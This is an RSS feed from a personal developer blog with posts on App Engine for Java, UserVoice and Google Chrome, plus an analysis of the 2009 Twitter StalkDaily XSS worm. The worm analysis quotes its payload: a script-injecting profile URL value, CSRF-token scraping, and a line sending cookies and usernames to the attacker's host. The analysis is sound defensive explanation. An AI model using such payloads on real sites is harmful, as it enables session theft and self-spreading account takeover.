<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>unitstep.net &#187; web2.0</title>
	<atom:link href="http://unitstep.net/blog/category/web20/feed/" rel="self" type="application/rss+xml" />
	<link>http://unitstep.net</link>
	<description>the home of peter chng</description>
	<lastBuildDate>Mon, 01 Mar 2010 02:28:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Google App Engine for Java: First thoughts</title>
		<link>http://unitstep.net/blog/2009/04/15/google-app-engine-for-java-first-thoughts/</link>
		<comments>http://unitstep.net/blog/2009/04/15/google-app-engine-for-java-first-thoughts/#comments</comments>
		<pubDate>Wed, 15 Apr 2009 23:29:22 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[app engine]]></category>
		<category><![CDATA[cloud computing]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[web2.0]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[web applications]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=866</guid>
		<description><![CDATA[
When Google launched App Engine about one year ago, many were excited about their expected move into the cloud computing space, but at the same time, dismayed that it only supported Python, a language seemingly favoured at the Mountain View-headquartered company.
However, Google was adamant that they would begin supporting new languages and began taking requests [...]]]></description>
			<content:encoded><![CDATA[<p class="image align-right"><img src="http://unitstep.net/wordpress/wp-content/uploads/2009/04/google-app-engine-java.jpg" alt="google-app-engine-java" title="google-app-engine-java" width="175" height="154" class="alignnone size-full wp-image-873" /></p>
<p>When Google <a href="http://www.readwriteweb.com/archives/google_cloud_control.php">launched App Engine about one year ago</a>, many were excited about their expected move into the cloud computing space, but at the same time, dismayed that it only supported Python, a language seemingly favoured at the Mountain View-headquartered company.</p>
<p>However, Google was adamant that they would begin supporting new languages and <a href="http://code.google.com/p/googleappengine/issues/list">began taking requests on their issue tracker</a> for what language to support next.  So, it was no surprise that <a href="http://googleappengine.blogspot.com/2009/04/seriously-this-time-new-language-on-app.html">support for Java was announced last week</a> as part of an <a href="http://code.google.com/appengine/docs/java/overview.html">&#8220;Early Look&#8221;</a> at the feature. </p>
<h2>I qualified for signup!</h2>
<p>The <a href="http://code.google.com/appengine/">Google App Engine page</a> indicated that access would be limited to the first 10,000 developers who signed up, but I was able to get approved for access after signing up over the weekend, even though Java support was launched last Wednesday on April 8th.  Google has since expanded the &#8220;early Look&#8221; <a href="http://googleappengine.blogspot.com/2009/04/early-look-at-java-language-support.html">to accommodate a total of 25,000 developers</a>, so be sure to sign up if you can!</p>
<p>The choice of Java as the next language to support was no big surprise, as indicated by <a href="http://java.dzone.com/news/will-google-app-engine-ever-su">many</a> <a href="http://news.cnet.com/8301-17939_109-10074158-2.html">articles</a> speculating on the matter.</p>
<p>Furthermore, Java is one of the most popular languages out there, both outside and inside Google, making it a logical choice.  This is seen by the numerous Java projects Google has created/supported, such as <a href="http://code.google.com/webtoolkit/">Google Web Toolkit</a> and <a href="http://code.google.com/p/google-guice/">Google Guice</a>.  Additionally, Java is second to none when it comes to a viable developer ecosystem, which has resulted in great open source projects such as <a href="http://www.jboss.com/">JBoss</a>, the <a href="http://commons.apache.org/">Apache Commons</a> collections, and other libraries/frameworks that have provided great tools to any Java developer, allowing them focus on developing their application instead of worrying about lower-level problems.  There are also a great many websites out there running on J2EE, such as <a href="http://www.linkedin.com/">LinkedIn</a> and numerous corporate websites.</p>
<h2>App Engine as a enabler for free/cheap Java hosting</h2>
<p>However, this hasn&#8217;t translated into the availability of cheap web hosting for J2EE/Java development.  Typically, web hosting for a shared-server solution will be only a few dollars per month if you&#8217;re using a scripting/interpreted language like <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym>, Python or Perl.  If you want to develop Java web applications though, you&#8217;ll likely have to pay much more due to the complexity and overhead of the hosting provider having to run a Java VM.</p>
<p>As outlined in <a href="http://newfoo.net/2009/04/08/google-app-engine-will-change-java-web-development.html">this somewhat overly optimistic article</a>, Google&#8217;s support for Java in App Engine has the potential to change the game by offering a cheap/low-cost, or in most cases, a free solution to allow developers to begin creating J2EE/Java-based web applications.  This will have the effect of encouraging greater adoption of J2EE as a server-side solution.  In my opinion, the high cost of Java web hosting has indeed hampered its adoption by the community, as compared to alternatives like <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym>, Python and Ruby.</p>
<h2>Hello, World</h2>
<p>As for me, I&#8217;m currently devoting my free time to experimenting on App Engine using Java.  So far, the <a href="http://code.google.com/appengine/docs/java/runtime.html">documention</a> and <a href="http://code.google.com/appengine/docs/java/gettingstarted/creating.html">tutorial</a> seem to be fairly well-written and easy to follow, and for the most part App Engine is using the standard Java APIs for providing most of their service functionality.  Furthermore, Google has made an <a href="http://code.google.com/appengine/docs/java/tools/eclipse.html">excellent Eclipse plugin</a> for App Engine Java support, which provides not only the SDK, but also a built-in development server/Jetty-based servlet container for local testing, but also the tools necessary to upload your application to Google&#8217;s servers directly from the IDE.  Another reason why <a href="/blog/2008/02/10/eclipse-the-best-and-only-ide-youll-ever-need/">Eclipse is the best IDE</a> out there.</p>
<p>I hope to have something working within a few days, at least to test the service and play around with its capabilities.  Overall, I&#8217;m very impressed!</p>
<hr/>Copyright &copy; 2010 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2009/04/15/google-app-engine-for-java-first-thoughts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How the Twitter StalkDaily Worm spread so fast</title>
		<link>http://unitstep.net/blog/2009/04/13/how-the-twitter-stalkdaily-worm-spread-so-fast/</link>
		<comments>http://unitstep.net/blog/2009/04/13/how-the-twitter-stalkdaily-worm-spread-so-fast/#comments</comments>
		<pubDate>Tue, 14 Apr 2009 03:50:40 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[social networking]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[web2.0]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[worm]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=847</guid>
		<description><![CDATA[
If you use Twitter a lot (unlike me) you&#8217;ll likely have been alerted and worried about the presence of a worm that&#8217;s been making the rounds at the popular micro-blogging website.  The so-called &#8220;StalkDaily&#8221; worm was first noticed on Saturday, and it appeared to be able to &#8220;infect&#8221; a user&#8217;s Twitter profile, causing random [...]]]></description>
			<content:encoded><![CDATA[<p class="image align-right"><img src="http://unitstep.net/wordpress/wp-content/uploads/2009/04/biohazard.jpg" alt="biohazard" title="biohazard" width="100" height="145" class="alignnone size-full wp-image-853" /></p>
<p>If you use Twitter a lot (unlike me) you&#8217;ll likely have been alerted and worried about the <a href="http://www.techcrunch.com/2009/04/11/twitter-hit-by-stalkdaily-worm/">presence of a worm that&#8217;s been making the rounds</a> at the popular micro-blogging website.  The so-called &#8220;StalkDaily&#8221; worm was first noticed on Saturday, and it appeared to be able to &#8220;infect&#8221; a user&#8217;s Twitter profile, causing random tweets about the StalkDaily website (<strong>don&#8217;t go there</strong>)  to show up on their profile.  Furthermore, other user&#8217;s Twitter profiles could also become infected, seemingly by <strong>only viewing the profile of another infected user</strong>.</p>
<p>Eventually the <a href="http://gist.github.com/93782">source code of the worm was uncovered</a>, (safe to view) and a quick analysis of the worm shows why it was able to quickly spread through Twitter so fast.  Here&#8217;s an overview of how the worm worked.</p>
<h2>Overview</h2>
<p>The StalkDaily worm was apparently <a href="http://adjix.com/af5t">written by a person named &#8220;Mikeyy Mooney&#8221;</a>, who is evidently a 17-year old from Brooklyn, New York.  He created the original worm, plus other derivatives that spread using the same mechanism but displayed different messages on the infected user&#8217;s profile.  The attack was not able to steal user&#8217;s passwords, thanks to Twitter&#8217;s security configuration, but <a href="http://www.cbc.ca/technology/story/2009/04/13/twitter-worm.html">it nonetheless caused over 10,000 unauthorized tweets</a> to show up on users&#8217; profiles.</p>
<h2>Drilling down</h2>
<p>An analysis of the <a href="http://gist.github.com/93782">source code of the worm</a> yields some insight into how this malicious code was able to spread so effectively.  Specifically, the attack used <a href="http://en.wikipedia.org/wiki/Cross-site_scripting#Persistent">Type 2 or persistent XSS vulnerability</a>, the most serious type, in order to achieve DOM/JavaScript injection into the Twitter site.</p>
<p>In this sort of attack, the attacker was able to arbitrary JavaScript into a page that was publicly viewable by any other user; in this case the page was a user&#8217;s profile.  This injected JavaScript was then used to &#8220;infect&#8221; the profile of the user who viewed the already-infected profile, causing the cycle to repeat.</p>
<p>Specifically, the &#8220;<acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym>&#8221; field of the user&#8217;s profile is targeted.  This contents of this field were apparently not sanitized from user input, or the contents were not properly converted to <acronym class="uttInitialism" title="HyperText Markup Language">HTML</acronym> entities when setting the contents to the value of the <code>href</code> attribute when displaying the user&#8217;s <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> or homepage/website.  This is seen in lines 104 and 109 of the source code, shown below:</p>
<pre><code>var xss = urlencode('http://www.stalkdaily.com"&gt;</a>&lt;script src="http://mikeyylolz.uuuq.com/x.js"&gt;&lt;/script&gt;&lt;a ');
...
var ajaxConn1 = new XHConn();
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&amp;user[url]="+xss+"&amp;tab=home&amp;update=update");</code></pre>
<p>The last line is where the user&#8217;s profile is updated to show the offending JavaScript; this essentially make the user&#8217;s profile execute the worm&#8217;s source code, causing anyone who views the profile to become &#8220;infected&#8221; themselves.</p>
<p>Thus the attacker was able to exploit this to arbitrarily inject a SCRIPT tag into the DOM linking to a JavaScript file (<code>x.js</code>) on his site.  By doing this, he was able to get code he owned (the JavaScript file on his own website) to run at the privilege level of scripts on the Twitter.com domain.  This &#8220;privilege escalation&#8221; of sorts is what allowed the script to perform actions on behalf of the user, including infecting their profile to spread to others, and causing the user to tweet phrases of the attacker&#8217;s choice.</p>
<h2>Spreading</h2>
<p>Once infected, a user&#8217;s profile would contain a link to the malicious JavaScript as described above.  This is because the user&#8217;s profile shows a link to their website <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym>, which had been altered to inject the malicious JavaScript residing the attacker&#8217;s server.  Because of this, <strong>anyone who was logged into Twitter and viewed an infected user&#8217;s profile would themselves be infected</strong>, and their profile would then become a vector for transmission of the worm, completing the cycle. </p>
<p>The source code also shows that each time you viewed an infected profile, the script would cause you to randomly tweet one of six different phrases, all of which linked to the StalkDaily website.  It appears the <a href="http://adjix.com/b52w">attacker was trying to promote his website this way</a>, but it&#8217;s also possible that going to this website could also cause you to become infected.  While viewing a resource directly on the StalkDaily website could not cause you to become infected, due to the same-origin policy, it&#8217;s possible that a hidden <code>iframe</code> could be included on the site, pointing towards the profile of an infected user.  This would case you to become infected.</p>
<h2>Why XSS is so important to prevent against</h2>
<p>Cross-site scripting attacks, or XSS for short, essentially occur because user-input data is not properly sanitized prior to being committed to persistent storage, or is not properly escaped into <acronym class="uttInitialism" title="HyperText Markup Language">HTML</acronym> entities before being output to a webpage or displayed.  This can allow a malicious user to inject or alter the structure of the DOM, inserting <code>script</code> tags to inject their own arbitrary JavaScript into your website.</p>
<p>This attack demonstrates the need to effectively guard against these vulnerabilities, because such flaws can undermine other security precautions you have taken.  For example, the source code of the worm shows that Twitter was using an &#8220;authentication token&#8221; for all form submissions in order to prevent <a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery">Cross-site Request Forgery (CSRF) attacks</a>.  This is essentially using a temporary, random value to ensure that a form was submitted from the Twitter website itself, so that not any website can submit a form request to Twitter on behalf of a user.</p>
<p>This can normally prevent malicious websites from performing actions on your behalf without your knowledge; however because the XSS vulnerability allowed for DOM/script injection, the attacker&#8217;s script (on a separate domain) was able to run with the same privilege of a script on Twitter&#8217;s own site.  Thus, it was able to read in the &#8220;authentication token&#8221; value from the <acronym class="uttInitialism" title="HyperText Markup Language">HTML</acronym> of the Twitter webpage, and use it to properly craft form submission data to alter the user&#8217;s profile and tweet on their behalf.  This is seen on lines 85-90:</p>
<pre><code>var content = document.documentElement.innerHTML;

authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken[1];
//alert(authtoken);</code></pre>
<p>Note that using a cookie to store the authentication token would not have prevented this.  Because the script was running within the scope of the Tiwtter.com domain, it would be able to access the user&#8217;s cookies!  In fact it does exactly this, and furthermore it sends your cookies to the attacker&#8217;s server so they can keep a log of them! Lines 78-81 show this: (The username is obtained from the DOM, much like the authentication token)</p>
<pre><code>var cookie;
cookie = urlencode(document.cookie);
document.write("&lt;img src='http://mikeyylolz.uuuq.com/x.php?c=" + cookie + "&amp;username=" + username + "'&gt;");
document.write("&lt;img src='http://stalkdaily.com/log.gif'&gt;");</code></pre>
<h2>Other notes</h2>
<p>Obviously central to this problem is the ability of scripts on other domains to run within the scope of another domain simply by being linked to on the page via a <code>script</code> element.  This allows scripts not under the control of the originating domain to be able to access cookies and other information that would not be normally accessible.  </p>
<p>However, this ability also allows useful services such as Google Analytics and other third-party services/APIs such as Google Maps, to work easily across different websites, allowing services to expose their features through a JavaScript API.  Thus, making browsers reject third-party SCRIPT tags would cause serious usability problems; a better idea is to use a Firefox plugin like <a href="https://addons.mozilla.org/en-US/firefox/addon/722">NoScript</a> so that the user can have fine-grained control over issues like this. </p>
<p>Other points of interest when looking at the source code is that the bulk of the code are utility functions.  The actual malicious code only takes up the last third of the file or so.  For example, the function <code>XHConn()</code> is simply a standard cross-browser compatible implementation of <a href="http://en.wikipedia.org/wiki/XMLHttpRequest">XMLHttpRequest</a>, the API used for the Ajax requests necessary to alter the user&#8217;s profile.  Additionally, the <code>urlencode()</code> function is another utility function that allows values like the user&#8217;s cookies and the actual malicious <code>script</code> tag to be properly submitted in the Ajax request.</p>
<p>Lastly, the malicious code is set to be executed 3250 ms after the script is fully-loaded. (line 111)  This is likely to ensure that the DOM is fully loaded and ready to be traversed to find things like the username and authentication token, instead of hooking into an event like <code>window.onload</code>.</p>
<h2>Concluding remarks</h2>
<p>This analysis identifies the following points:</p>
<ol>
<li>The worm spreads by updating your profile <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> to include the malicious script.</li>
<li>Simply viewing the profile of an infected user is suffice to cause your profile to become infected.</li>
<li>Every time you view the profile of an infected user, including your own, the worm will cause you to automatically tweet one of the random messages.</li>
<li>The random tweets from an infected user <strong>do not</strong> appear to contain the malicious code, probably because output here has been protected against that.</li>
<li>The worm steals the cookies you have set for the Twitter.com domain, along with your username, but thankfully no password information is stolen since Twitter does not store that sort of information in cookies.  It also appears to log each visit to an infected user&#8217;s profile.</li>
<li>Visiting a third-party site (such as the StalkDaily website) may infect your Twitter profile if a hidden iframe has been included, pointing towards the profile of an infected user.  This can be hard to detect, so using something the <a href="https://addons.mozilla.org/en-US/firefox/addon/722">NoScript Firefox extension</a> is recommended.</li>
</ol>
<p>Note that this is not a criticism of Twitter itself, as designing any web application is  difficult from a security perspective; it&#8217;s also worthwhile to note that Twitter responded fast to this issue, within hours on a Saturday.  They appeared to have the <a href="http://blog.twitter.com/2009/04/wily-weekend-worms.html">situation under control as of yesterday</a> and had patched the hole as well as being on their way to cleaning up infected users&#8217; profiles.  Understandably they are very upset and I hope they are able to sort the whole issue out.</p>
<hr/>Copyright &copy; 2010 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2009/04/13/how-the-twitter-stalkdaily-worm-spread-so-fast/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Getting Feedback with UserVoice</title>
		<link>http://unitstep.net/blog/2008/11/30/getting-feedback-with-uservoice/</link>
		<comments>http://unitstep.net/blog/2008/11/30/getting-feedback-with-uservoice/#comments</comments>
		<pubDate>Sun, 30 Nov 2008 23:12:11 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[development]]></category>
		<category><![CDATA[feedback]]></category>
		<category><![CDATA[social]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[usability]]></category>
		<category><![CDATA[user interface]]></category>
		<category><![CDATA[web2.0]]></category>
		<category><![CDATA[customers]]></category>
		<category><![CDATA[users]]></category>
		<category><![CDATA[uservoice]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=580</guid>
		<description><![CDATA[
When developing any application, getting proper user feedback during the early stages is essential if you want to have the application suit your customers&#8217; needs.  Often this is done with staged tests, but with web applications you can have the benefit of using an online method of retrieving your users&#8217; opinions. 
However, doing so [...]]]></description>
			<content:encoded><![CDATA[<p class="image align-right"><img src="http://unitstep.net/wordpress/wp-content/uploads/2008/11/uservoice.jpg" alt="" title="uservoice" width="180" height="48" class="alignnone size-full wp-image-582" /></p>
<p>When developing any application, getting proper user feedback during the early stages is essential if you want to have the application suit your customers&#8217; needs.  Often this is done with staged tests, but with web applications you can have the benefit of using an online method of retrieving your users&#8217; opinions. </p>
<p>However, doing so can be tricky.  If you want to get feedback, you can implement your own system for soliciting it, however, this takes up extra time that could be used to further develop your core web application.  Alternatively, there are some existing online services that can provide survey-like questionnaires to users, but honestly, these present more trouble to the user than they&#8217;re worth.</p>
<p>When I first started using <a href="/blog/2008/11/15/stack-overflow-is-a-great-community-and-resource/">Stack Overflow</a>, I noticed that the feedback service they had been using, <a href="http://uservoice.com/">UserVoice</a>, was an elegant and functional solution to this problem.</p>
<p>UserVoice takes care of the problem for you, by providing you with an easy-to-use comment and feedback forum.  (It can also be a place where users can submit bug reports, as well) However, it&#8217;s more than just a forum: By allowing users to &#8220;vote&#8221; on particular topics, it allows clustering of the most popular ideas/requests, thus bringing them to your attention the most.  It also helps prevent duplicate topics from being submitted, and is a great &#8220;Digg-style&#8221; way of using the &#8220;wisdom of the crowds&#8221;, as they say.</p>
<p>There are some drawbacks, of course.  If you&#8217;re using it to allow users to submit bugs, I wouldn&#8217;t rely on it as your sole bug tracker.  Instead, I&#8217;d use it to receive the reports, then parse through and verify them before adding them to a proper bug tracker (like <a href="http://trac.edgewall.org/">Trac</a>) where they can be better integrated into your development work-flow.  Furthermore, if you have a popular site, the feedback forums can still become deluged in too many requests/ideas, but that is a problem no matter what type of system you&#8217;re using for feedback.  And, as mentioned before, the voting system helps to bring to your attention the most popular ones so that you can further make a value judgment.</p>
<p>I&#8217;ve since <a href="http://runtrackr.uservoice.com/">launched a feedback forum</a> for <a href="http://runtrackr.com">RunTrackr</a>, my side project for the past little while.   I encourage you to give UserVoice a try, since it&#8217;s so easy to get started &#8211; you&#8217;re literally up and running inside of two minutes.  At a minimum, give their home page a visit &#8211; it does a great job of explaining the process in a simple and easy-to-understand manner.</p>
<hr/>Copyright &copy; 2010 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2008/11/30/getting-feedback-with-uservoice/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Chrome: What it offers</title>
		<link>http://unitstep.net/blog/2008/09/02/google-chrome-what-it-offers/</link>
		<comments>http://unitstep.net/blog/2008/09/02/google-chrome-what-it-offers/#comments</comments>
		<pubDate>Wed, 03 Sep 2008 01:03:15 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[Ajax]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[XHTML]]></category>
		<category><![CDATA[browsers]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[comparison]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[internet explorer]]></category>
		<category><![CDATA[opera]]></category>
		<category><![CDATA[reviews]]></category>
		<category><![CDATA[web2.0]]></category>
		<category><![CDATA[gears]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[mozilla]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=411</guid>
		<description><![CDATA[
After much speculation yesterday, marked by a leaked web comic and finally an acknowledgment by Google, Google Chrome, the much anticipated web browser, is here.
I encourage you to download it and give it a try, as I did as soon as it came out.  Here are some of my initial impressions.
Overview
Google released a fairly [...]]]></description>
			<content:encoded><![CDATA[<p class="image align-right"><img src="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome.jpg" alt="Google Chrome" /></p>
<p>After much <a href="http://blogoscoped.com/archive/2008-09-01-n47.html">speculation yesterday</a>, marked by a <a href="http://www.google.com/googlebooks/chrome/index.html">leaked web comic</a> and finally an <a href="http://googleblog.blogspot.com/2008/09/fresh-take-on-browser.html">acknowledgment by Google</a>, <a href="http://www.google.com/chrome/intl/en/features.html">Google Chrome</a>, the much anticipated web browser, <a href="http://googleblog.blogspot.com/2008/09/google-chrome-now-live.html">is here</a>.</p>
<p>I encourage you to <a href="http://www.google.com/chrome/index.html">download it</a> and give it a try, as I did as soon as it came out.  Here are some of my initial impressions.</p>
<h3>Overview</h3>
<p>Google released a fairly long <a href="http://www.google.com/googlebooks/chrome/">web comic</a> that delves into quite a bit of detail about Chrome &#8211; it&#8217;s not your typical comic!  Touted as being built &#8220;from scratch&#8221;, Chrome uses the WebKit rendering engine, the same one that powers Safari and Konqueror.</p>
<p class="image"><a href="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-2.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-2-300x207.jpg" alt="" title="google-chrome-2" width="300" height="207" class="alignnone size-medium wp-image-420" /></a></p>
<p>The first thing you notice is how minimal the &#8220;Chrome&#8221; or UI of Chrome is.  If you&#8217;re used to a half-dozen toolbars, buttons and widgets all over the place, Chrome will seem like a greenfield to you.  By default, there is only a tab bar and then an address bar containing back, forward, a combined reload-stop button and the address bar.  There are also buttons for bookmarking a site and for page and browser settings.  The bookmarks bar is not displayed unless you specifically change that setting.</p>
<p>Keyboard shortcuts are also present so that you don&#8217;t have to click through context menus.  If you&#8217;re used to the keyboard shortcuts of Firefox and IE7 you&#8217;ll be pleased to know that most of them transfer over without change: Ctrl-T opens a new Tab, Ctrl-W/Ctrl-F4 closes a tab, Alt-D focuses the address bar and Ctrl-J opens Downloaded Files.</p>
<p>The address bar also functions as a search bar, and this combination just makes sense.  It&#8217;s something I&#8217;ve always been doing using <a href="http://lifehacker.com/software/geek-to-live/geek-to-live-fifteen-firefox-quick-searches-129658.php">Firefox Quick Searches</a></p>
<p>By default the home/start page is set to set to show an Opera-style &#8220;<a href="http://www.opera.com/support/tutorials/flash/speeddial/">Speed Dial</a>&#8221; page containing most recently-accessed pages/bookmarks.  You can also configure Chrome to restore the previous tabs/websites on startup, which is my personal preference ever since I started using Firefox.</p>
<h3>Features</h3>
<p>Chrome integrates Google Gears to speed up supporting web applications and is an obvious effort by Google to self-promote. This is substantial since the download link for Chrome is on the main Google search page &#8211; no small feat considering only the most popular/important services get that sort of attention and furthermore the link is positioned dead center beneath the search field.</p>
<p class="image">
<a href="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-3.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-3-300x210.jpg" alt="" title="google-chrome-3" width="300" height="210" class="alignnone size-medium wp-image-422" /></a><br />
The address/search bar
</p>
<p>Chrome allows for quasi-<a href="http://en.wikipedia.org/wiki/Site_Specific_Browser">Site-Specific Browsers</a> by use of &#8220;Application Shortcuts&#8221;, which can be set for any website but are meant to be used mainly with web applications.  These allow you to open the target <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> in a browser window that does not have the menu or address bars and essentially serves as a blank canvas upon which the web application&#8217;s own UI can be displayed.  </p>
<p>This is similar to other SSBs such as <a href="https://wiki.mozilla.org/Prism">Mozilla Prism</a> or <a href="http://fluidapp.com/">Fluid</a> for the Mac, as they aim to bridge the gap between desktop and web applications to make their integration more seamless.</p>
<p>However, like <a href="http://blogoscoped.com/archive/2008-09-01-n47.html">Google Blogoscoped points out</a>, using such non-browser interfaces may condition the user to be more lax when entering their credentials and makes phishing attempts more viable since no <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> is displayed.  This is curious since security, &#8220;sandboxing&#8221; and general safe browsing were so high on Chrome&#8217;s feature list &#8211; this feature seems to help undo some good user practices of always confirming the <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> before entering credentials. </p>
<p>There are also some nice little enhancements as well &#8211; the combined address bar/search bar is very much like Firefox 3&#8217;s &#8220;awesome bar&#8221;.  Chrome also allows you to dynamically resize any <code>textarea</code> element, without the site designer having to code this specifically in JavaScript or some other client-side technology.</p>
<h3>Performance</h3>
<p>Each tab/window is a separate process and thus will show up separately in Task Manager; Chrome also offers its own Task Manager but the memory usage reported here differs from that in the Windows Task Manager.  To get the full picture, you have to click on the &#8220;Stats for nerds&#8221; link, which takes you to <code>about:memory</code></p>
<p class="image">
<a href="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-4.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-4-300x192.jpg" alt="" title="google-chrome-4" width="300" height="192" class="alignnone size-medium wp-image-424" /></a>
</p>
<p>This page displays the full memory usage details, and also, surprisingly, displays memory usage for any other web browsers also currently running! (I have confirmed that it will display Firefox 2/3, IE7 and Opera 9)</p>
<p class="image">
<a href="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-5.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-5-300x208.jpg" alt="" title="google-chrome-5" width="300" height="208" class="alignnone size-medium wp-image-425" /></a>
</p>
<p>Much talk has been made of this feature; indeed while it does use more resources, it also prevents a single site from bringing down the entire browser as only that tab/window will be affected.  To test this out, just terminate one of the instances of chrome.exe and you will see that tab&#8217;s screen into a &#8220;sad tab of death&#8221; with an amusing message.</p>
<p class="image">
<a href="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-1.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2008/09/google-chrome-1.jpg" alt="" title="google-chrome-1" width="346" height="313" class="alignnone size-full wp-image-415" /></a>
</p>
<h3>JavaScript</h3>
<p>Though JavaScript falls under the category of `Performance` I felt it deserves its own section because of the importance of JavaScript in web applications.  Chrome uses the Google-developed V8 JavaScript engine, which has also been <a href="http://code.google.com/apis/v8/">released as open source</a>.</p>
<p>The <a href="http://code.google.com/apis/v8/design.html">main points</a> of V8 are outlined at the Google Code page for the project, and are quite interesting.  One of the main improvements in performance is the use of a Virtual Machine (VM) for processing JavaScript.</p>
<p>The V8 Virtual Machine is different from say, the JVM (Java Virtual Machine) in that it compiles JavaScript source <em>directly to machine code</em>; there is no intermediate byte-code representation used and hence no interpreter is needed for this.  This seems to indicate that JavaScript performance might be faster on Chrome since there&#8217;s no intermediary. Google provides some <a href="http://code.google.com/apis/v8/benchmarks.html">benchmarks</a> to confirm this.</p>
<p>From some informal/unscientific preliminary testing, the V8 JavaScript engine in Chrome <em>does</em> appear to be quite fast; loading the same Digg topic in Firefox took longer than it did in Chrome. (Roughly 14 secs vs. 8 seconds over a few trials &#8211; and Chrome did not have the benefit of AdBlock Plus) I&#8217;d be <em>very</em> interested to see how Chrome stacks up against Firefox 3.1, considering the rumoured <a href="http://arstechnica.com/news.ars/post/20080822-firefox-to-get-massive-javascript-performance-boost.html">performance boosts</a> coming with it.</p>
<p>If Chrome has anything going for it, it&#8217;s definitely the lightning fast JavaScript performance.  Coupled with the crash-proofing this makes it ideal for use in web applications.</p>
<h3>Development</h3>
